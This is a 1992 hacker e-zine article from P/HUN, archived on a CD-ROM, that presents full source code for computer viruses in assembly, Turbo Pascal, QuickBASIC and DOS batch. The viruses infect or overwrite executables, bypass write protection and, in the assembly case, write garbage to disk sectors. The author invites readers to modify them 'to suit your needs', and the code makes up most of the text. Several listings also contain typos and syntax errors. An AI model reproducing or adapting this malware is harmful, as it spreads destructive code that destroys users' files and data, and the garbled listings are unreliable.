home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 1 / HACKER1.ISO / miscpub1 / phun302.txt < prev    next >
Text File  |  1992-09-26  |  26KB  |  746 lines

  1.  
  2. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  3.  
  4. =                 P/HUN Issue #3, Volume 2: Phile #2 of 11                    =
  5.  
  6. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  7.  
  8.  
  9.                  Viruses: Assembly, Pascal, Basic & Batch 
  10.                  ---------------------------------------- 
  11.                           By  Tesla Coil ][ 
  12.  
  13.  
  14. [ I do not take any responsibility for any damages that may occur when  ] 
  15. [ compiling viruses in this article. This article has been written to   ] 
  16. [ promote knowledge into the amazing world of computer viruses.         ] 
  17.  
  18. Viruses can be written in practically every computer language known today.  
  19. Although most effective viruses have been written in Assembly.  
  20.  
  21. Many of us think that viruses cannot be written in Basic due to its limited   
  22. ability. This is untrue. Basic has the capability of producing very effective 
  23. viruses if properly used. Combining assembly and basic could futher enhance  
  24. the effectiveness of the virus. 
  25.  
  26. In this article we will examine some viruses written in Assembly, Pascal, Basic
  27.  
  28. and Batch written by B. Fix, R. Burger and M. Vallen which proved to be very  
  29. intresting to me. 
  30.  
  31. Please use some caution handling these virus programs. Please use a separate 
  32. disks when you wish to compile. 
  33.  
  34.                         Virus in Assembly Language  
  35.                         --------------------------  
  36.  
  37. Most viruses out there have been written in assembly because assembly has the 
  38. unique ability to bypass operating system security. 
  39. Here is an example of a virus written under MS-DOS 2.1 and can obviously be 
  40. compiled in the later versions. The article contains remarks so as to further 
  41. explain the parts. Programmers may wish to delete those segments if desired. 
  42.  
  43. *************************************************** 
  44. ;   Program Virus         
  45. ;   Version 1.1 
  46. ;   Writter : R. Burger 
  47. ;   Created 1986 
  48. ;   This is a demonstration program for computer  
  49. ;   viruses. It has the ability to replace itself. 
  50. ;   and thereby modify other programs. Enjoy. 
  51. ;************************************************** 
  52.  
  53. Code   Segment 
  54.        Assume  CS:Code 
  55. progr  equ 100h 
  56.        ORG progr 
  57.  
  58. ;************************************************** 
  59. ;   The three NOP's serve as the marker byte of the   
  60. ;   virus which allow it to identify a virus. 
  61. ;************************************************** 
  62.  
  63. MAIN: 
  64.        nop 
  65.        nop 
  66.        nop 
  67.  
  68. ;************************************************** 
  69. ;   Initialize the pointers 
  70. ;************************************************** 
  71.  
  72.        mov ax,00 
  73.        mov es:[pointer],ax 
  74.        mov es:[counter],ax 
  75.        mov es:[disks],al 
  76.  
  77. ;************************************************** 
  78. ;   Get the selected drive 
  79. ;************************************************** 
  80.  
  81.        mov ah,19h             ;drive? 
  82.        int 21h     
  83.  
  84. ;************************************************** 
  85. ;   Get the current path on the current drive 
  86. ;************************************************** 
  87.  
  88.        mov cs:drive,al        ;save drive 
  89.        mov ah,47h             ;dir? 
  90.        mov dh,0                
  91.        add al,1 
  92.        mov dl,al              ;in actual drive 
  93.        lea si,cs:old_path     ; 
  94.        int 21h 
  95.  
  96. ;************************************************** 
  97. ;   Get the number of drives present. If only one    
  98. ;   is present, the pointer for the search order 
  99. ;   will be set to serach order + 6 
  100. ;************************************************** 
  101.  
  102.        mov as,0eh             ;how many disks  
  103.        mov dl,0               ; 
  104.        int 21h 
  105.  
  106.        mov al,01 
  107.        cmp al,01              ;one drive 
  108.        jnz hups3 
  109.        mov al,06 
  110.         
  111. hups3: mov ah,0 
  112.        lea bx,search_order 
  113.        add bx,ax 
  114.        add bx,0001h 
  115.        mov cs:pointer,bx 
  116.        clc 
  117.  
  118. ;************************************************** 
  119. ;   Carry is set, if no more .COM's are found.       
  120. ;   Then, to avoid unnecessary work, .EXE files will 
  121. ;   be renamed to .COM files and infected. 
  122. ;   This causes the error message "Program to large 
  123. ;   to fit memory" when starting larger infected 
  124. ;   EXE programs. 
  125. ;************************************************* 
  126.  
  127. change_disk: 
  128.       jnc no_name_change 
  129.       mov ah,17h              ;change .EXE to .COM 
  130.       lea dx,cs:maske_exe 
  131.       int 21h 
  132.       cmp al,0ffh 
  133.       jnz no_name_change      ;.EXE found? 
  134.  
  135. ;**************************************************** 
  136. ;   If neither  .COM nor .EXE is found then sectors 
  137. ;   will be overwritten depending on the system time 
  138. ;   in milliseconds. This is the time of the complete 
  139. ;   "infection" of a storage medium. The virus can 
  140. ;   find nothing more to infect and starts its destruction 
  141. ;*****************************************************    
  142.  
  143.       mov ah,2ch              ; read system clock 
  144.       int 21h 
  145.       mov bx,cs:pointer 
  146.       mov al,cs:[bx] 
  147.       mov bx,dx 
  148.       mov cx,2 
  149.       mov dh,0 
  150.       int 26h                 ; write crap on disk 
  151.  
  152. ;****************************************************** 
  153. ;   Check if the end of the search order table has been 
  154. ;   reached . If so, end. 
  155. ;****************************************************** 
  156.  
  157. no_name_change: 
  158.       mov bx,cs:pointer 
  159.       dec bx 
  160.       mov cs:pointer,bx 
  161.       mov dl,cs:[bx] 
  162.       cmp dl,0ffh 
  163.       jnz hups2 
  164.       jmp hops 
  165.        
  166. ;**************************************************** 
  167. ;   Get new drive from the search order table and 
  168. ;   select it . 
  169. ;*************************************************** 
  170.  
  171. hups2: 
  172.       mov ah,0eh 
  173.       int 21h                    ;change disk 
  174.  
  175. ;*************************************************** 
  176. ;   Start in the root directory 
  177. ;***************************************************   
  178.  
  179.       mov ah,3bh                 ;change path 
  180.       lea dx,path 
  181.       int 21h 
  182.       jmp find_first_file 
  183.  
  184. ;************************************************** 
  185. ;   Starting from the root, search for the first 
  186. ;   subdir. FIrst convert all .EXE files to .COM 
  187. ;   in the old directory 
  188. ;************************************************** 
  189.  
  190. find_first_subdir: 
  191.       mov ah,17h                 ;change .exe to .com 
  192.       lea dx,cs:maske_exe 
  193.       int 21h 
  194.       mov ah,3bh                 ;use root directory 
  195.       lea dx,path 
  196.       int 21h 
  197.       mov ah,04eh                ;search for first subdirectory 
  198.       mov cx,00010001b           ;dir mask 
  199.       lea dx,maske_dir           ; 
  200.       int 21h                    ; 
  201.       jc change_disk 
  202.       mov bx,CS:counter 
  203.       INC,BX 
  204.       DEC bx 
  205.       jz  use_next_subdir 
  206.  
  207. ;************************************************* 
  208. ;   Search for the next subdirectory. If no more 
  209. ;   directories are found, the drive will be changed. 
  210. ;************************************************* 
  211.  
  212. find_next_subdir: 
  213.       mov ah,4fh               ; search for next subdir 
  214.       int 21h  
  215.       jc change_disk 
  216.       dec bx 
  217.       jnz find_next_subdir 
  218.  
  219. ;************************************************* 
  220. ;   Select found directory. 
  221. ************************************************** 
  222.  
  223. use_next_subdir:       
  224.       mov ah,2fh               ;get dta address 
  225.       int 21h 
  226.       add bx,1ch 
  227.       mov es:[bx],'\`          ;address of name in dta 
  228.       inc bx 
  229.       push ds 
  230.       mov ax,es 
  231.       mov ds,ax 
  232.       mov dx,bx 
  233.       mov ah,3bh               ;change path 
  234.       int 21h 
  235.       pop ds 
  236.       mov bx,cs:counter 
  237.       inc bx 
  238.       mov CS:counter,bx 
  239.  
  240. ;************************************************** 
  241. ;    Find first .COM file in the current directory. 
  242. ;    If there are none, search the next directory. 
  243. ;************************************************** 
  244.  
  245. find_first_file: 
  246.       mov ah,04eh              ;Search for first 
  247.       mov cx,00000001b         ;mask 
  248.       lea dx,maske_com         ; 
  249.       int 21h                  ; 
  250.       jc find_first_subdir 
  251.       jmp check_if_ill 
  252.  
  253. ;************************************************** 
  254. ;   If program is ill(infected) then search for 
  255. ;   another other. 
  256. ;**************************************************  
  257.  
  258. find_next_file: 
  259.       mov ah,4fh               ;search for next 
  260.       int 21h 
  261.       jc find_first_subdir 
  262.  
  263. ;************************************************* 
  264. ;   Check is already infected by virus. 
  265. ************************************************** 
  266.  
  267. check_if_ill: 
  268.       mov ah,3dh              ;open channel 
  269.       mov al,02h              ;read/write 
  270.       mov dx,9eh              ;address of name in dta  
  271.       int 21 
  272.       mov bx,ax               ;save channel 
  273.       mov ah,3fh              ; read file 
  274.       mov ch,buflen           ; 
  275.       mov dx,buffer           ;write in buffer 
  276.       int 21h  
  277.       mov ah,3eh              ;close file 
  278.       int 21h   
  279.  
  280. ;*************************************************** 
  281. ;   This routine will search the three NOP's(no  
  282. ;   operation).If present there is already an infection. 
  283. ;   We must then continue the search 
  284. ;**************************************************** 
  285.  
  286.      mov bx,cs:[buffer] 
  287.      cmp bx,9090h 
  288.      jz find_next_file 
  289.  
  290. ;*************************************************** 
  291. ;   This routine will BY PASS MS-DOS WRITE PROTECTION 
  292. ;   if present. Very important ! 
  293. ;*************************************************** 
  294.  
  295.      mov ah,43h               ;write enable 
  296.      mov al,0           
  297.      mov dx,9eh               ;address of name in dta 
  298.      int 21h  
  299.      mov ah,43h 
  300.      mov al,01h 
  301.      and cx,11111110b 
  302.      int 21h 
  303.  
  304. ;**************************************************** 
  305. ;   Open file for read/write access. 
  306. ***************************************************** 
  307.  
  308.      mov ah,3dh               ;open channel 
  309.      mov al,02h               ;read/write 
  310.      mov dx,9eh               ;address of name in dta 
  311.      int 21h 
  312.  
  313. ;**************************************************** 
  314. ;   Read date entry of program and save for future 
  315. ;   use. 
  316. ;**************************************************** 
  317.  
  318.     mov bx,ax                ;channel 
  319.     mov ah,57h               ;get date 
  320.     mov al.0 
  321.     int 21h 
  322.     push cx                  ;save date 
  323.     push dx  
  324.  
  325. ;**************************************************** 
  326. ;   The jump located at address 0100h of the program 
  327. ;   will be saved for further use. 
  328. ***************************************************** 
  329.  
  330.     mov dx,cs:[conta]        ;save old jmp 
  331.     mov cs:[jmpbuf],dx 
  332.     mov dx,cs:[buffer+1]     ;save new jump 
  333.     lea cx,cont-100h 
  334.     sub dx,cx 
  335.     mov cs:[conta],dx 
  336.  
  337. ;*****************************************************  
  338. ;   The virus copies itself to the start of the file.  
  339. ;*****************************************************  
  340.  
  341.     mov ah,57h               ;write date 
  342.     mov al,1          
  343.     pop dx 
  344.     pop cx                   ;restore date 
  345.     int 21h 
  346.  
  347. ;***************************************************** 
  348. ;   Close the file. 
  349. ;***************************************************** 
  350.  
  351.     mov ah,3eh               ;close file 
  352.     int 21h 
  353.  
  354. ;***************************************************** 
  355. ;   Restore the old jump address. The virus saves at 
  356. ;   address "conta" the jump which was at the start of 
  357. ;   the host program. 
  358. ;   This is done to preserve the executability of the 
  359. ;   host program as much as possible. 
  360. ;   After saving it still works with the jump address 
  361. ;   contained in the virus. The jump address in the  
  362. ;   virus differs from the jump address in memory. 
  363. ;**************************************************** 
  364.  
  365.     mov dx,cs:[jmpbuf]       ;restore old jump 
  366.     mov cs:[conta],dx 
  367. hops:  nop 
  368.        call use_old 
  369.  
  370. ;**************************************************** 
  371. ;   Continue with the host program. 
  372. ;**************************************************** 
  373.      
  374. cont    db 0e9h                ;make jump 
  375. conta   dw 0 
  376.         mov ah,00 
  377.         int 21h     
  378.  
  379. ;*************************************************** 
  380. ;   Reactivate the selected drive at the start of   
  381. ;   the program. 
  382. ;*************************************************** 
  383.   
  384. use_old: 
  385.         mov ah,0eh             ;use old drive 
  386.         mov dl,cs:drive  
  387.         int 21h  
  388.  
  389. ;***************************************************  
  390. ;    Reactivate the selected path at the start of 
  391. ;    the program. 
  392. ;*************************************************** 
  393.  
  394.         mov ah,3bh             ;use old drive 
  395.         lea dx,old_path-1      ;get old path and backslash 
  396.         int 21h 
  397.         ret 
  398.  
  399. search_order db 0ffh,1,0,2,3,0ffh,00,offh 
  400. pointer      dw   0000           ;pointer f. search order 
  401. counter      dw   0000           ;counter f. nth. search  
  402. disks        db    0             ;number of disks 
  403.  
  404. maske_com    db "*.com",00       ;search for com files 
  405. maske_dir    db "*",00           ;search for dir's 
  406. maske_exe    db offh,0,0,0,0,0,00111111b  
  407.              db 0,"????????exe",0,0,0,0 
  408.              db 0,"????????com",0 
  409. maske_all    db offh,0,0,0,0,0,00111111b 
  410.              db 0,"???????????",0,0,0,0 
  411.              db 0,"????????com",0 
  412.  
  413. buffer equ 0e00h                 ;a safe place 
  414.  
  415. buflen equ 230h                  ;lenght of virus!!!! 
  416.                                  ;carefull 
  417.                                  ;if changing!!!! 
  418. jmpbuf equ buffer+buflen         ;a safe place for jmp 
  419. path  db "\",0                   ;first place 
  420. drive db 0                       ;actual drive 
  421. back_slash db "\" 
  422. old_path db 32 dup (?)           ;old path 
  423.  
  424. code ends 
  425.  
  426. end main 
  427.  
  428. [ END OF THIS VIRUS PROGRAM ] 
  429.  
  430.  
  431.  
  432.                              Virus in Pascal          
  433.                              ---------------            
  434.  
  435.  
  436. Pascal is another high level language that can produce eye popping computer 
  437. viruses. Especially when the usage of Turbo Pascal is involved.  
  438. The virus below was available through various bulletin boards for 
  439. a while.     
  440.  
  441. ------------------------------------------------------------------ 
  442. Number One 
  443.  
  444.  
  445. Please handle this virus with care!!!!!!!!!!! [Deadly Demo] 
  446.  
  447. Number One infects all .COM - file's name will be displayed  
  448. That file has been overwritten with Number Ones's program code and 
  449. is not reconstructible! If all files are infected or or no .COM 
  450. files are found, Number one gives you a <Smile>. 
  451. Files may be protected against infections of Number One by 
  452. setting the Read ONLY attribute. 
  453.  
  454. Written 10.3.87 by M.Vallen (Turbo Pascal 3.01A) 
  455.  
  456. ------------------------------------------------------ }            
  457.  
  458. {C-} 
  459. {U-} 
  460. {I-}       { Wont allow a user break, enable IO check} 
  461.  
  462. { -- Constants --------------------------------------- }           
  463.  
  464. Const 
  465.      VirusSize = 12027;    {Number One's code size} 
  466.      
  467.      Warning   :String[42]    {Warning message} 
  468.      = 'This file has been infected ny Number One!'; 
  469.  
  470. { -- Type declarations------------------------------------- } 
  471.  
  472. Type 
  473.      DTARec    =Record      {Data area for file search } 
  474.      DOSnext  :Array[1..21] of Byte; 
  475.                    Attr    : Byte; 
  476.                    Ftime,  
  477.                    FDate, 
  478.                    FLsize,  
  479.                    FHsize  : Integer; 
  480.                    FullName: Array[1..13] of Char; 
  481.                  End; 
  482.  
  483. Registers    = Record    {Register set used for file search } 
  484.    Case Byte of 
  485.    1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer); 
  486.    2 : (AL,AH,BL,BH,CL,CH,DL,DH          : Byte); 
  487.    End; 
  488.  
  489. { -- Variables--------------------------------------------- }  
  490.  
  491. Var 
  492.                                { Memory offset program code } 
  493.    ProgramStart : Byte absolute Cseg:$100; 
  494.                                           { Infected marker } 
  495.    MarkInfected : String[42] absolute Cseg:$180; 
  496.    Reg          : Registers;                 { Register set } 
  497.    DTA          : DTARec;                       { Data area } 
  498.    Buffer       : Array[Byte] of Byte;        { Data buffer } 
  499.    TestID       : String[42]; { To recognize infected files } 
  500.    UsePath      : String[66];        { Path to search files }  
  501.                                     { Lenght of search path } 
  502.    UsePathLenght: Byte absolute UsePath; 
  503.    Go           : File;                    { File to infect } 
  504.    B            : Byte;                              { Used } 
  505.  
  506. { -- Program code------------------------------------------ } 
  507.  
  508. Begin 
  509.   WriteLn(Warning);               { Display warning message } 
  510.   GetDir(0, UsePath);               { get current directory }  
  511.   if Pos('\', UsePath) <> UsePathLenght then 
  512.     UsePath := UsePath + '\'; 
  513.   UsePath := UsePath + '*.COM';        { Define search mask } 
  514.   Reg.AH := $1A;                            { Set data area } 
  515.   Reg.DS := Seg(DTA); 
  516.   Reg.DX := Ofs(DTA); 
  517.   MsDos(Reg); 
  518.   UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 } 
  519.   Reg.AH := $4E; 
  520.   Reg.DS := Seg(UsePath); 
  521.   Reg.DX := Ofs(UsePath[1]); 
  522.   Reg CX := $ff;          { Set attribute to find ALL files } 
  523.   MsDos(Reg);                   { Find first matching entry } 
  524.   IF not Odd(Reg.Flags) Then         { If a file found then } 
  525.     Repeat 
  526.       UsePath := DTA.FullName; 
  527.       B := Pos(#0, UsePath); 
  528.       If B > 0 then 
  529.       Delete(UsePath, B, 255);             { Remove garbage } 
  530.       Assign(Go, UsePath); 
  531.       Reset(Go); 
  532.       If IOresult = 0 Then          { If not IO error then } 
  533.       Begin 
  534.         BlockRead(Go, Buffer, 2); 
  535.         Move(Buffer[$80], TestID, 43);      
  536.                       { Test if file already ill(Infected) } 
  537.         If TestID <> Warning Then        { If not then ... } 
  538.         Begin 
  539.           Seek (Go, 0); 
  540.                             { Mark file as infected and .. }  
  541.           MarkInfected := Warning; 
  542.                                                { Infect it } 
  543.           BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7); 
  544.           Close(Go); 
  545.                                   { Say what has been done } 
  546.           WriteLn(UsePath + 'infected.'); 
  547.           Halt;                   {.. and halt the program } 
  548.         End; 
  549.         Close(Go); 
  550.       End; 
  551.         { The file has already been infected, search next. } 
  552.       Reg.AH := $4F; 
  553.       Reg.DS := Seg(DTA); 
  554.       Reg.DX := Ofs(DTA); 
  555.       MsDos(Reg); 
  556.     {  ......................Until no more files are found } 
  557.     Until Odd(Red.Flags); 
  558.   Write(`<Smile>');                          {Give a smile } 
  559. End. 
  560.   
  561.  
  562. Although this is a primitive virus its effective.In this virus only the .COM 
  563. files are infected. Its about 12K and it will change the date entry.        
  564.  
  565.  
  566.  
  567.                            Viruses in Basic 
  568.                            ---------------- 
  569.  
  570.  
  571. Basic is great language and often people think of it as a limited language 
  572. and will not be of any use in creating something like a virus. Well you are 
  573. really wrong. Lets take a look at a Basic Virus created by R. Burger in 1987. 
  574. This program is an overwritting virus and uses (Shell) MS-DOS to infect .EXE 
  575. files.To do this you must compile the source code using a the Microsoft  
  576. Quick-BASIC.Note the lenght of the compiled and the linked .EXE file and edit 
  577. the source code to place the lenght of the object program in the LENGHTVIR 
  578. variable. BV3.EXE should be in the current directory, COMMAND.COM must be 
  579. available, the LENGHTVIR variable must be set to the lenght of the linked      
  580.  
  581. program and remember to use /e parameter when compiling. 
  582.  
  583. 10 REM ** DEMO   
  584. 20 REM ** MODIFY IT YOUR OWN WAY IF DESIRED ** 
  585. 30 REM ** BASIC DOESNT SUCK  
  586. 40 REM ** NO KIDDING 
  587. 50 ON ERROR GOTO 670 
  588. 60 REM *** LENGHTVIR MUST BE SET ** 
  589. 70 REM *** TO THE LENGHT TO THE ** 
  590. 80 REM *** LINKED PROGRAM *** 
  591. 90 LENGHTVIR=2641 
  592. 100 VIRROOT$="BV3.EXE" 
  593. 110 REM *** WRITE THE DIRECTORY IN THE FILE "INH" 
  594. 130 SHELL "DIR *.EXE>INH" 
  595. 140 REM ** OPEN "INH" FILE AND READ NAMES ** 
  596. 150 OPEN "R",1,"INH",32000  
  597. 160 GET #1,1 
  598. 170 LINE INPUT#1,ORIGINAL$ 
  599. 180 LINE INPUT#1,ORIGINAL$ 
  600. 190 LINE INPUT#1,ORIGINAL$ 
  601. 200 LINE INPUT#1,ORIGINAL$   
  602. 210 ON ERROR GOT 670 
  603. 220 CLOSE#2 
  604. 230 F=1:LINE INPUT#1,ORIGINAL$ 
  605. 240 REM ** "%" IS THE MARKER OF THE BV3 
  606. 250 REM ** "%" IN THE NAME MEANS 
  607. 260 REM  ** INFECTED COPY PRESENT  
  608. 270 IF MID$(ORIGINAL$,1,1)="%" THEN GOTO 210 
  609. 280 ORIGINAL$=MID$(ORIGINAL$,1,13) 
  610. 290 EXTENSIONS$=MID$(ORIGINAL,9,13) 
  611. 300 MID$(EXTENSIONS$,1,1)="." 
  612. 310 REM *** CONCATENATE NAMES INTO FILENAMES ** 
  613. 320 F=F+1 
  614. 330 IF MID$(ORIGINAL$,F,1)=" " OR MID$ (ORIGINAL$,F,1)="." OR F=13 THEN       
  615. GOTO 350 
  616. 340 GOTO 320 
  617. 350 ORIGINAL$=MID$(ORIGINAL$,1,F-1)+EXTENSION$ 
  618. 360 ON ERROR GOTO 210 
  619. 365 TEST$="" 
  620. 370 REM ++ OPEN FILE FOUND +++ 
  621. 380 OPEN "R",2,OROGINAL$,LENGHTVIR 
  622. 390 IF LOF(2) < LENGHTVIR THEN GOTO 420 
  623. 400 GET #2,2 
  624. 410 LINE INPUT#1,TEST$ 
  625. 420 CLOSE#2 
  626. 431 REM ++ CHECK IF PROGRAM IS ILL ++    
  627. 440 REM ++ "%" AT THE END OF THE FILE MEANS.. 
  628. 450 REM ++ FILE IS ALREADY SICK ++ 
  629. 460 REM IF MID$(TEST,2,1)="%" THEN GOTO 210 
  630. 470 CLOSE#1 
  631. 480 ORIGINALS$=ORIGINAL$ 
  632. 490 MID$(ORIGINALS$,1,1)="%" 
  633. 499 REM ++++ SANE "HEALTHY" PROGRAM ++++ 
  634. 510 C$="COPY "+ORIGINAL$+" "+ORIGINALS$           
  635. 520 SHELL C$ 
  636. 530 REM *** COPY VIRUS TO HEALTHY PROGRAM **** 
  637. 540 C$="COPY "+VIRROOT$+ORIGINAL$ 
  638. 550 SHELL C$ 
  639. 560 REM *** APPEND VIRUS MARKER *** 
  640. 570 OPEN ORIGINAL$ FOR APPEND AS #1 LEN=13 
  641. 580 WRITE#1,ORIGINALS$ 
  642. 590 CLOSE#1 
  643. 630 REM ++ OUYPUT MESSAGE ++ 
  644. 640 PRINT "INFECTION IN " ;ORIGIANAL$; "  !! BE WARE !!" 
  645. 650 SYSTEM 
  646. 660 REM ** VIRUS ERROR MESSAGE  
  647. 670 PRINT "VIRUS INTERNAL ERROR GOTTCHA !!!!":SYSTEM 
  648. 680 END 
  649.      
  650.  
  651. This basic virus will only attack .EXE files. After the execution you will  
  652. see a "INH" file which contains the directory, and the file %SORT.EXE. 
  653. Programs which start with "%" are NOT infected ,they pose as back up copies. 
  654.  
  655.  
  656.                             Batch Viruses  
  657.                             ------------- 
  658.  
  659.  
  660. Whoever thought that viruses could be in BATCH file.This virus which we        
  661.  
  662. are about to see makes use of MS-DOS operating system. This BATCH virus 
  663. uses DEBUG & EDLIN programs. 
  664.  
  665. Name: VR.BAT 
  666.  
  667. echo = off         ( Self explanatory) 
  668. ctty nul           ( This is important. Console output is turned off) 
  669. path c:\msdos      ( May differ on other systems ) 
  670. dir *.com/w>ind    ( The directory is written on "ind" ONLY name entries)      
  671.  
  672. edlin ind<1        ( "Ind" is processed with EDLIN so only file names appear) 
  673. debug ind<2        ( New batch program is created with debug) 
  674. edlin name.bat<3   ( This batch goes to an executable form because of EDLIN) 
  675. ctty con           ( Console interface is again assigned) 
  676. name               ( Newly created NAME.BAT is called. 
  677.  
  678.  
  679. In addition to file to this Batch file,there command files,here named 1,2,3 
  680.  
  681. Here is the first command file: 
  682. ------------------------------- 
  683. Name: 1 
  684.  
  685. 1,4d               ( Here line 1-4 of the "IND" file are deleted ) 
  686. e                  ( Save file ) 
  687.  
  688. Here is the second command file: 
  689. -------------------------------- 
  690. Name: 2 
  691.  
  692. m100,10b,f000      (First program name is moved to the F000H address to save)  
  693.  
  694. e108 ".BAT"        (Extention of file name is changed to .BAT) 
  695. m100,10b,f010      (File is saved again) 
  696. e100"DEL "         (DEL command is written to address 100H) 
  697. mf000,f00b,104     (Original file is written after this command) 
  698. e10c 2e            (Period is placed in from of extension) 
  699. e110 0d,0a         (Carrige return+ line feed) 
  700. mf010,f020,11f     ( Modified file is moved to 11FH address from buffer area) 
  701. e112 "COPY \VR.BAT" ( COPY command is now placed in front of file) 
  702. e12b od,0a         (COPY command terminated with carriage return + lf) 
  703. rxc                ( The CX register is ... ) 
  704. 2c                 ( set to 2CH) 
  705. nname.bat          ( Name it NAME.BAT) 
  706. w                  ( Write ) 
  707. q                  ( quit ) 
  708.  
  709.  
  710. The third command file must be printed as a hex dump because it contains 
  711. 2 control characters (1Ah=Control Z) and this is not entirely printable. 
  712.  
  713. Hex dump of the third command file: 
  714. ----------------------------------- 
  715. Name: 3 
  716.  
  717. 0100   31 2C 31 3F 52 20 1A 0D-6E 79 79 79 79 79 79 79  
  718.        1  ,  1  ?        .  .  n  y  y  y  y  y  y  y 
  719. 0110   79 29 0D 32 2C 32 3F 52-20 1A OD 6E 6E 79 79 79 
  720.        y     .  2  ,  ?  ?  r     .  .  n  n  y  y  y 
  721. 0120   79 79 79 79 29 0D 45 0D-00 00 00 00 00 00 00 00 
  722.        y  y  y  y     .  E  .  .  .  .  .  .  .  .  . 
  723.  
  724.  
  725. In order for this virus to work VR.BAT should be in the root. This program only
  726.  
  727. affects .COM files.  
  728.  
  729.                               End Note   
  730.                               --------  
  731. All these viruses can be modified to suit your needs. If anyone has seen any 
  732. intresting viruses please contact me at The Hacker's Den BBS.        
  733.  
  734. Suggested readings: 
  735.  
  736. Computer Viruses: A high Tech Disease by Abacus 
  737. 2600 Magazine: Volume 5, Number 2 
  738.   
  739. -TC][- 
  740.  
  741. DOWNLOADED FROM P-80 SYSTEMS 304-744-2253
  742.  
  743. Downloaded From P-80 International Information Systems 304-744-2253 12yrs+
  744.